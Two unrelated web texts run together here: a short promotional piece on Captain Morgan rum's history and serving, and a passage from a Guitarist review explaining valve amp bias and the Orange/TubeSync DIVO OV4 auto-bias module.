The good Captain's origins date back to the 17th century, though Morgan himself would have bristled at the idea of being portrayed as a pirate; his official title was that of a privateer, a ship's captain who has his government's authorization to attack and plunder an enemy nation's shipping concerns.
Sea scoundrel or not, in 1944 the Seagram Company began producing their famous rum under his name when it bought a Jamaican distillery from that country's government. Today, Captain Morgan is the fourth-largest brand of spirit in the USA and the 11th largest in the world.
If you're looking for the best the Captain has to offer, try his Captain Morgan Private Stock. It's rich and full-bodied, with a smooth, dark texture and tastes of subtle island spices that give it a nutty, sweet, candy-like flavor.
How to serve: Sit back and sip this one. It makes a great, refreshing drink when served on the rocks with club soda.
More of the best rums from Puerto Rico...
Bachelor Party


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The following information is taken from Guitarist's Orange/TubeSync DIVO OV4 review. To find out how the DIVO fared when installed in a 1970s Marshall 100-watt Super Lead head, check out the full review. If you're only interested in valve bias and how the technology works, read on…
Bias, and how to set it, is probably one of the most contentious issues for many valve amp users, especially those who like to tweak their amp by installing different makes or types of output valve.
What is bias?
Put simply, bias is your valve's idle adjustment - it's like making sure your car is ticking over properly. In fixed bias amplifiers, this is achieved by applying a negative voltage to the valve's control grid - literally a grid of wire that sits between the cathode and plate.
When you switch your amp on, electrons are generated at the cathode and pulled towards the plate, causing current to flow. This happens because electrons are negatively charged particles and the plate is energised with a strong positive voltage - opposite poles attract.
Varying the control grid's negative voltage means this flow of electrons can be slowed to a trickle, or even stopped - like poles repel.
The ideal idle current
Although people often refer to the negative bias voltage setting, it's the actual idle current that is important. All valves have an ideal idle current, typically around 30-50 milliamps, and for the amp to operate at its best it's important that all your output valves are idling equally.
This is done by fitting valves that have been matched in pairs or quartets, however even the best matching doesn't mean that valves will wear equally, so in order to keep your amp operating at its best, an occasional small adjustment to the bias is sometimes necessary.
Usually these adjustments are at best a compromise; as individual output valves rarely draw the same idle current. What if there was a device that could measure and automatically adjust the bias for each individual valve? Well now there is: the Orange/TubeSync DIVO, which stands for Dynamic Intelligent Valve Optimisation.
Orange/TubeSync DIVO
It's been available in OEM format for some time, however retrofitting this to an existing amp isn't easy and is definitely beyond most guitarists' capabilities. What was needed was a simple, bolt-on accessory that can be added to any fixed bias amp, and that's what Orange has now come up with, in the shape of the DIVO OV4.
Next: how the Orange/TubeSync DIVO OV4 works
Built into an aluminium case about the size of a small paperback, the OV4 module comes with both a bracket and strong industrial Velcro fixings. Four piggyback octal sockets, or interceptors as Orange calls them, are connected to a strong nylon multi-pin plug that is located at one end of the module.
There are two small push-button switches, one offering a choice of standard and custom bias settings, while the other is called 'share the wear'. At the other end of the module there's an earth connection, together with an RJ45 socket and a standard 6mm jack socket.
The RJ45 socket is where the DIVO OV4's interface module plugs in, allowing the product to be configured and interrogated from a PC using a small Windows-compatible program. This handy software lets authorised resellers/installers configure the custom bias switch setting, either globally or for each valve individually, as well as a second 'idle only' bias current that operates as a progressive standby feature.
Once set, the OV4 continually micro-adjusts the bias current for each individual valve, keeping the amp running at peak efficiency. It also means that you can run any combination of standard octal power valve you like, although pairs, such as 6L6s and EL34s are more useful.
With no audio present, the OV4 can automatically drop the bias current to a lower setting to reduce wear and tear, instantly returning to its higher level when audio is detected.
Valve faults?
In the event of a valve fault, a clever algorithm shuts off the affected pair automatically and remembers which valves are at fault, displaying them on warning LEDs, as well as in the software, while also keeping a record of how many hours use the amp has had, both with and without audio.
The jack socket connects to a standard footswitch letting you switch the amp from full power (all four valves on) to half power, moreover the 'share the wear' function remembers which pair of valves were switched off the last time and alternates them, keeping wear as even as possible, although if you use two different pairs of valves, such as 6L6s and EL34s, you can use this as a tone option, swapping from one pair to the other. Cool or what?